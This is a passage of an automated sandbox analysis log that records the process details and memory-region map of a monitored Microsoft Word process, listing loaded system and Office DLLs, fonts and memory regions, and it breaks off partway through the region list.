# Flog Txt Version 1
# Analyzer Version: 2.2.0
# Analyzer Build Date: Aug 21 2017 12:23:07
# Log Creation Date: 31.08.2017 14:51:13.138
Process:
id = "1"
image_name = "winword.exe"
filename = "c:\\program files\\microsoft office\\root\\office16\\winword.exe"
page_root = "0x7f13e740"
os_pid = "0x9f8"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "analysis_target"
parent_id = "0"
os_parent_pid = "0x0"
cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\""
cur_dir = "C:\\Users\\ATVeyDl98Z\\Desktop\\"
os_username = "ZJEWV7F\\ATVeyDl98Z"
os_groups = "ZJEWV7F\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f73d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 134
start_va = 0x10000
end_va = 0x1ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 135
start_va = 0x20000
end_va = 0x20fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000020000"
filename = ""
Region:
id = 136
start_va = 0x30000
end_va = 0x33fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 137
start_va = 0x40000
end_va = 0x43fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000040000"
filename = ""
Region:
id = 138
start_va = 0x50000
end_va = 0x50fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000050000"
filename = ""
Region:
id = 139
start_va = 0x60000
end_va = 0x60fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000060000"
filename = ""
Region:
id = 140
start_va = 0x70000
end_va = 0x16ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000070000"
filename = ""
Region:
id = 141
start_va = 0x170000
end_va = 0x1d6fff
entry_point = 0x170000
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 142
start_va = 0x1e0000
end_va = 0x1e0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000001e0000"
filename = ""
Region:
id = 143
start_va = 0x1f0000
end_va = 0x1f0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001f0000"
filename = ""
Region:
id = 144
start_va = 0x200000
end_va = 0x206fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000200000"
filename = ""
Region:
id = 145
start_va = 0x210000
end_va = 0x30ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000210000"
filename = ""
Region:
id = 146
start_va = 0x310000
end_va = 0x311fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000310000"
filename = ""
Region:
id = 147
start_va = 0x320000
end_va = 0x320fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000320000"
filename = ""
Region:
id = 148
start_va = 0x330000
end_va = 0x330fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000330000"
filename = ""
Region:
id = 149
start_va = 0x340000
end_va = 0x341fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000340000"
filename = ""
Region:
id = 150
start_va = 0x350000
end_va = 0x351fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000350000"
filename = ""
Region:
id = 151
start_va = 0x360000
end_va = 0x362fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000360000"
filename = ""
Region:
id = 152
start_va = 0x370000
end_va = 0x37ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000370000"
filename = ""
Region:
id = 153
start_va = 0x380000
end_va = 0x382fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000380000"
filename = ""
Region:
id = 154
start_va = 0x390000
end_va = 0x39ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000390000"
filename = ""
Region:
id = 155
start_va = 0x3a0000
end_va = 0x467fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000003a0000"
filename = ""
Region:
id = 156
start_va = 0x470000
end_va = 0x570fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000470000"
filename = ""
Region:
id = 157
start_va = 0x580000
end_va = 0x117ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000580000"
filename = ""
Region:
id = 158
start_va = 0x1180000
end_va = 0x1182fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001180000"
filename = ""
Region:
id = 159
start_va = 0x1190000
end_va = 0x1192fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001190000"
filename = ""
Region:
id = 160
start_va = 0x11a0000
end_va = 0x11a1fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000011a0000"
filename = ""
Region:
id = 161
start_va = 0x11b0000
end_va = 0x11cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000011b0000"
filename = ""
Region:
id = 162
start_va = 0x11d0000
end_va = 0x11d1fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000011d0000"
filename = ""
Region:
id = 163
start_va = 0x11e0000
end_va = 0x11e1fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000011e0000"
filename = ""
Region:
id = 164
start_va = 0x11f0000
end_va = 0x1213fff
entry_point = 0x0
region_type = private
name = "private_0x00000000011f0000"
filename = ""
Region:
id = 165
start_va = 0x1220000
end_va = 0x1220fff
entry_point = 0x0
region_type = private
name = "private_0x0000000001220000"
filename = ""
Region:
id = 166
start_va = 0x1230000
end_va = 0x1238fff
entry_point = 0x0
region_type = private
name = "private_0x0000000001230000"
filename = ""
Region:
id = 167
start_va = 0x1240000
end_va = 0x1248fff
entry_point = 0x0
region_type = private
name = "private_0x0000000001240000"
filename = ""
Region:
id = 168
start_va = 0x1260000
end_va = 0x1260fff
entry_point = 0x0
region_type = private
name = "private_0x0000000001260000"
filename = ""
Region:
id = 169
start_va = 0x1270000
end_va = 0x127ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001270000"
filename = ""
Region:
id = 170
start_va = 0x1280000
end_va = 0x1283fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001280000"
filename = ""
Region:
id = 171
start_va = 0x1290000
end_va = 0x1290fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001290000"
filename = ""
Region:
id = 172
start_va = 0x12a0000
end_va = 0x12a0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000012a0000"
filename = ""
Region:
id = 173
start_va = 0x12b0000
end_va = 0x12b0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000012b0000"
filename = ""
Region:
id = 174
start_va = 0x12c0000
end_va = 0x12c0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000012c0000"
filename = ""
Region:
id = 175
start_va = 0x12d0000
end_va = 0x12d1fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000012d0000"
filename = ""
Region:
id = 176
start_va = 0x12e0000
end_va = 0x14b8fff
entry_point = 0x12e0000
region_type = mapped_file
name = "winword.exe"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe")
Region:
id = 177
start_va = 0x14c0000
end_va = 0x178efff
entry_point = 0x14c0000
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 178
start_va = 0x1790000
end_va = 0x1b82fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001790000"
filename = ""
Region:
id = 179
start_va = 0x1b90000
end_va = 0x1c8ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001b90000"
filename = ""
Region:
id = 180
start_va = 0x1c90000
end_va = 0x1d4ffff
entry_point = 0x1c90000
region_type = mapped_file
name = "kernelbase.dll.mui"
filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")
Region:
id = 181
start_va = 0x1d50000
end_va = 0x1d50fff
entry_point = 0x1d50000
region_type = mapped_file
name = "msxml6r.dll"
filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll")
Region:
id = 182
start_va = 0x1d60000
end_va = 0x1d9ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001d60000"
filename = ""
Region:
id = 183
start_va = 0x1da0000
end_va = 0x1e7efff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001da0000"
filename = ""
Region:
id = 184
start_va = 0x1e80000
end_va = 0x1f7ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001e80000"
filename = ""
Region:
id = 185
start_va = 0x1f80000
end_va = 0x1f9ffff
entry_point = 0x1f80000
region_type = mapped_file
name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000015.db"
filename = "\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000015.db" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000015.db")
Region:
id = 186
start_va = 0x1fa0000
end_va = 0x209ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001fa0000"
filename = ""
Region:
id = 187
start_va = 0x20a0000
end_va = 0x20c3fff
entry_point = 0x0
region_type = private
name = "private_0x00000000020a0000"
filename = ""
Region:
id = 188
start_va = 0x2110000
end_va = 0x2110fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000002110000"
filename = ""
Region:
id = 189
start_va = 0x2120000
end_va = 0x2121fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000002120000"
filename = ""
Region:
id = 190
start_va = 0x2130000
end_va = 0x2140fff
entry_point = 0x2130000
region_type = mapped_file
name = "c_1255.nls"
filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls")
Region:
id = 191
start_va = 0x2150000
end_va = 0x215ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000002150000"
filename = ""
Region:
id = 192
start_va = 0x2160000
end_va = 0x2165fff
entry_point = 0x2160000
region_type = mapped_file
name = "onbttnwd.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\ONBttnWD.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onbttnwd.dll")
Region:
id = 193
start_va = 0x2170000
end_va = 0x226ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000002170000"
filename = ""
Region:
id = 194
start_va = 0x2270000
end_va = 0x228ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000002270000"
filename = ""
Region:
id = 195
start_va = 0x2290000
end_va = 0x22aefff
entry_point = 0x0
region_type = private
name = "private_0x0000000002290000"
filename = ""
Region:
id = 196
start_va = 0x22b0000
end_va = 0x2329fff
entry_point = 0x22b0000
region_type = mapped_file
name = "segoeuib.ttf"
filename = "\\Windows\\Fonts\\segoeuib.ttf" (normalized: "c:\\windows\\fonts\\segoeuib.ttf")
Region:
id = 197
start_va = 0x23b0000
end_va = 0x23cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000023b0000"
filename = ""
Region:
id = 198
start_va = 0x23d0000
end_va = 0x24cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000023d0000"
filename = ""
Region:
id = 199
start_va = 0x24d0000
end_va = 0x25cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000024d0000"
filename = ""
Region:
id = 200
start_va = 0x25d0000
end_va = 0x25d3fff
entry_point = 0x25d0000
region_type = mapped_file
name = "stdole2.tlb"
filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb")
Region:
id = 201
start_va = 0x2600000
end_va = 0x263ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000002600000"
filename = ""
Region:
id = 202
start_va = 0x2640000
end_va = 0x267ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000002640000"
filename = ""
Region:
id = 203
start_va = 0x2680000
end_va = 0x26fffff
entry_point = 0x0
region_type = private
name = "private_0x0000000002680000"
filename = ""
Region:
id = 204
start_va = 0x2770000
end_va = 0x277ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000002770000"
filename = ""
Region:
id = 205
start_va = 0x2780000
end_va = 0x287ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000002780000"
filename = ""
Region:
id = 206
start_va = 0x28b0000
end_va = 0x29affff
entry_point = 0x0
region_type = private
name = "private_0x00000000028b0000"
filename = ""
Region:
id = 207
start_va = 0x29b0000
end_va = 0x2daffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000029b0000"
filename = ""
Region:
id = 208
start_va = 0x2db0000
end_va = 0x36dffff
entry_point = 0x2db0000
region_type = mapped_file
name = "staticcache.dat"
filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat")
Region:
id = 209
start_va = 0x36e0000
end_va = 0x375efff
entry_point = 0x36e0000
region_type = mapped_file
name = "segoeui.ttf"
filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf")
Region:
id = 210
start_va = 0x3760000
end_va = 0x385ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000003760000"
filename = ""
Region:
id = 211
start_va = 0x3880000
end_va = 0x397ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000003880000"
filename = ""
Region:
id = 212
start_va = 0x39b0000
end_va = 0x39bffff
entry_point = 0x0
region_type = private
name = "private_0x00000000039b0000"
filename = ""
Region:
id = 213
start_va = 0x39c0000
end_va = 0x3abffff
entry_point = 0x0
region_type = private
name = "private_0x00000000039c0000"
filename = ""
Region:
id = 214
start_va = 0x3ad0000
end_va = 0x3b0ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000003ad0000"
filename = ""
Region:
id = 215
start_va = 0x3b30000
end_va = 0x3b3ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000003b30000"
filename = ""
Region:
id = 216
start_va = 0x3b40000
end_va = 0x3b7ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000003b40000"
filename = ""
Region:
id = 217
start_va = 0x3b80000
end_va = 0x437ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000003b80000"
filename = ""
Region:
id = 218
start_va = 0x4380000
end_va = 0x447ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004380000"
filename = ""
Region:
id = 219
start_va = 0x4480000
end_va = 0x467ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004480000"
filename = ""
Region:
id = 220
start_va = 0x46e0000
end_va = 0x47dffff
entry_point = 0x0
region_type = private
name = "private_0x00000000046e0000"
filename = ""
Region:
id = 221
start_va = 0x47e0000
end_va = 0x4843fff
entry_point = 0x47e0000
region_type = mapped_file
name = "seguisb.ttf"
filename = "\\Windows\\Fonts\\seguisb.ttf" (normalized: "c:\\windows\\fonts\\seguisb.ttf")
Region:
id = 222
start_va = 0x48a0000
end_va = 0x499ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000048a0000"
filename = ""
Region:
id = 223
start_va = 0x4a20000
end_va = 0x4b1ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004a20000"
filename = ""
Region:
id = 224
start_va = 0x4b20000
end_va = 0x4f1ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000004b20000"
filename = ""
Region:
id = 225
start_va = 0x4f30000
end_va = 0x502ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004f30000"
filename = ""
Region:
id = 226
start_va = 0x5080000
end_va = 0x50bffff
entry_point = 0x0
region_type = private
name = "private_0x0000000005080000"
filename = ""
Region:
id = 227
start_va = 0x50c0000
end_va = 0x54bffff
entry_point = 0x0
region_type = private
name = "private_0x00000000050c0000"
filename = ""
Region:
id = 228
start_va = 0x54c0000
end_va = 0x58bffff
entry_point = 0x0
region_type = private
name = "private_0x00000000054c0000"
filename = ""
Region:
id = 229
start_va = 0x58c0000
end_va = 0x60bffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000058c0000"
filename = ""
Region:
id = 230
start_va = 0x60c0000
end_va = 0x64c0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000060c0000"
filename = ""
Region:
id = 231
start_va = 0x64d0000
end_va = 0x68d0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000064d0000"
filename = ""
Region:
id = 232
start_va = 0x68e0000
end_va = 0x6ce0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000068e0000"
filename = ""
Region:
id = 233
start_va = 0x6cf0000
end_va = 0x6eeffff
entry_point = 0x0
region_type = private
name = "private_0x0000000006cf0000"
filename = ""
Region:
id = 234
start_va = 0x6ef0000
end_va = 0x73affff
entry_point = 0x0
region_type = private
name = "private_0x0000000006ef0000"
filename = ""
Region:
id = 235
start_va = 0x73b0000
end_va = 0x7baffff
entry_point = 0x0
region_type = private
name = "private_0x00000000073b0000"
filename = ""
Region:
id = 236
start_va = 0x7bb0000
end_va = 0x7faffff
entry_point = 0x0
region_type = private
name = "private_0x0000000007bb0000"
filename = ""
Region:
id = 237
start_va = 0x7fb0000
end_va = 0x80affff
entry_point = 0x0
region_type = private
name = "private_0x0000000007fb0000"
filename = ""
Region:
id = 238
start_va = 0x8110000
end_va = 0x820ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000008110000"
filename = ""
Region:
id = 239
start_va = 0x8210000
end_va = 0x830ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000008210000"
filename = ""
Region:
id = 240
start_va = 0x83d0000
end_va = 0x84cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000083d0000"
filename = ""
Region:
id = 241
start_va = 0x84f0000
end_va = 0x85effff
entry_point = 0x0
region_type = private
name = "private_0x00000000084f0000"
filename = ""
Region:
id = 242
start_va = 0x8610000
end_va = 0x870ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000008610000"
filename = ""
Region:
id = 243
start_va = 0x8790000
end_va = 0x888ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000008790000"
filename = ""
Region:
id = 244
start_va = 0x35c20000
end_va = 0x35c2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000035c20000"
filename = ""
Region:
id = 245
start_va = 0x5f9d0000
end_va = 0x5f9e6fff
entry_point = 0x5f9d0000
region_type = mapped_file
name = "msohev.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\MSOHEV.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msohev.dll")
Region:
id = 246
start_va = 0x5fae0000
end_va = 0x5fb0bfff
entry_point = 0x5fae95e9
region_type = mapped_file
name = "onbttnwd.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\ONBttnWD.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onbttnwd.dll")
Region:
id = 247
start_va = 0x5fb10000
end_va = 0x60304fff
entry_point = 0x5fb10000
region_type = mapped_file
name = "chart.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\CHART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\chart.dll")
Region:
id = 248
start_va = 0x60310000
end_va = 0x604b1fff
entry_point = 0x60310000
region_type = mapped_file
name = "riched20.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\RICHED20.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\riched20.dll")
Region:
id = 249
start_va = 0x60590000
end_va = 0x60607fff
entry_point = 0x60590000
region_type = mapped_file
name = "mscoreei.dll"
filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")
Region:
id = 250
start_va = 0x60610000
end_va = 0x60659fff
entry_point = 0x60610000
region_type = mapped_file
name = "mscoree.dll"
filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll")
Region:
id = 251
start_va = 0x60660000
end_va = 0x60769fff
entry_point = 0x60660000
region_type = mapped_file
name = "dwrite.dll"
filename = "\\Windows\\System32\\DWrite.dll" (normalized: "c:\\windows\\system32\\dwrite.dll")
Region:
id = 252
start_va = 0x60770000
end_va = 0x6089bfff
entry_point = 0x60770000
region_type = mapped_file
name = "d3d10warp.dll"
filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll")
Region:
id = 253
start_va = 0x608a0000
end_va = 0x609b7fff
entry_point = 0x608a0000
region_type = mapped_file
name = "msptls.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSPTLS.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\msptls.dll")
Region:
id = 254
start_va = 0x609c0000
end_va = 0x60b34fff
entry_point = 0x609c0000
region_type = mapped_file
name = "msointl.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\1033\\msointl.dll")
Region:
id = 255
start_va = 0x60b40000
end_va = 0x60be8fff
entry_point = 0x60b40000
region_type = mapped_file
name = "wwintl.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wwintl.dll")
Region:
id = 256
start_va = 0x60bf0000
end_va = 0x65a2efff
entry_point = 0x60bf0000
region_type = mapped_file
name = "msores.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\msores.dll")
Region:
id = 257
start_va = 0x65a30000
end_va = 0x66350fff
entry_point = 0x65a30000
region_type = mapped_file
name = "mso99lres.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso99lres.dll")
Region:
id = 258
start_va = 0x66360000
end_va = 0x66667fff
entry_point = 0x66360000
region_type = mapped_file
name = "mso40uires.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso40uires.dll")
Region:
id = 259
start_va = 0x66670000
end_va = 0x67421fff
entry_point = 0x66670000
region_type = mapped_file
name = "mso.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso.dll")
Region:
id = 260
start_va = 0x67430000
end_va = 0x679c7fff
entry_point = 0x67430000
region_type = mapped_file
name = "mso99lwin32client.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso99Lwin32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso99lwin32client.dll")
Region:
id = 261
start_va = 0x679d0000
end_va = 0x680e4fff
entry_point = 0x679d0000
region_type = mapped_file
name = "mso40uiwin32client.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso40uiwin32client.dll")
Region:
id = 262
start_va = 0x680f0000
end_va = 0x683f1fff
entry_point = 0x680f0000
region_type = mapped_file
name = "mso30win32client.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso30win32client.dll")
Region:
id = 263
start_va = 0x68400000
end_va = 0x685d4fff
entry_point = 0x68400000
region_type = mapped_file
name = "mso20win32client.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso20win32client.dll")
Region:
id = 264
start_va = 0x685e0000
end_va = 0x691d1fff
entry_point = 0x685e0000
region_type = mapped_file
name = "oart.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\oart.dll")
Region:
id = 265
start_va = 0x691e0000
end_va = 0x69262fff
entry_point = 0x691e0000
region_type = mapped_file
name = "d3d11.dll"
filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll")
Region:
id = 266
start_va = 0x69270000
end_va = 0x6aed1fff
entry_point = 0x69270000
region_type = mapped_file
name = "wwlib.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\WWLIB.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wwlib.dll")
Region:
id = 267
start_va = 0x6aee0000
end_va = 0x6afbbfff
entry_point = 0x6aee0000
region_type = mapped_file
name = "ucrtbase.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ucrtbase.dll")
Region:
id = 268
start_va = 0x6afc0000
end_va = 0x6b174fff
entry_point = 0x6afc0000
region_type = mapped_file
name = "appvisvsubsystems32.dll"
filename = "\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")
Region:
id = 269
start_va = 0x6b280000
end_va = 0x6b2acfff
entry_point = 0x6b280000
region_type = mapped_file
name = "osppc.dll"
filename = "\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll")
Region:
id = 270
start_va = 0x6b2b0000
end_va = 0x6b2d0fff
entry_point = 0x6b2b0000
region_type = mapped_file
name = "sppc.dll"
filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll")
Region:
id = 271
start_va = 0x6b690000
end_va = 0x6b6bdfff
entry_point = 0x6b690000
region_type = mapped_file
name = "mlang.dll"
filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll")
Region:
id = 272
start_va = 0x6c840000
end_va = 0x6c847fff
entry_point = 0x6c840000
region_type = mapped_file
name = "npmproxy.dll"
filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")
Region:
id = 273
start_va = 0x6cf80000
end_va = 0x6d0d7fff
entry_point = 0x6cf80000
region_type = mapped_file
name = "msxml6.dll"
filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll")
Region:
id = 274
start_va = 0x6d400000
end_va = 0x6d450fff
entry_point = 0x6d400000
region_type = mapped_file
name = "winspool.drv"
filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv")
Region:
id = 275
start_va = 0x6ef70000
end_va = 0x6f128fff
entry_point = 0x6ef70000
region_type = mapped_file
name = "office.odf"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cultures\\office.odf")
Region:
id = 276
start_va = 0x6f130000
end_va = 0x6f132fff
entry_point = 0x6f130000
region_type = mapped_file
name = "api-ms-win-crt-utility-l1-1-0.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-utility-l1-1-0.dll")
Region:
id = 277
start_va = 0x6f140000
end_va = 0x6f142fff
entry_point = 0x6f140000
region_type = mapped_file
name = "api-ms-win-crt-environment-l1-1-0.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-environment-l1-1-0.dll")
Region:
id = 278
start_va = 0x6f150000
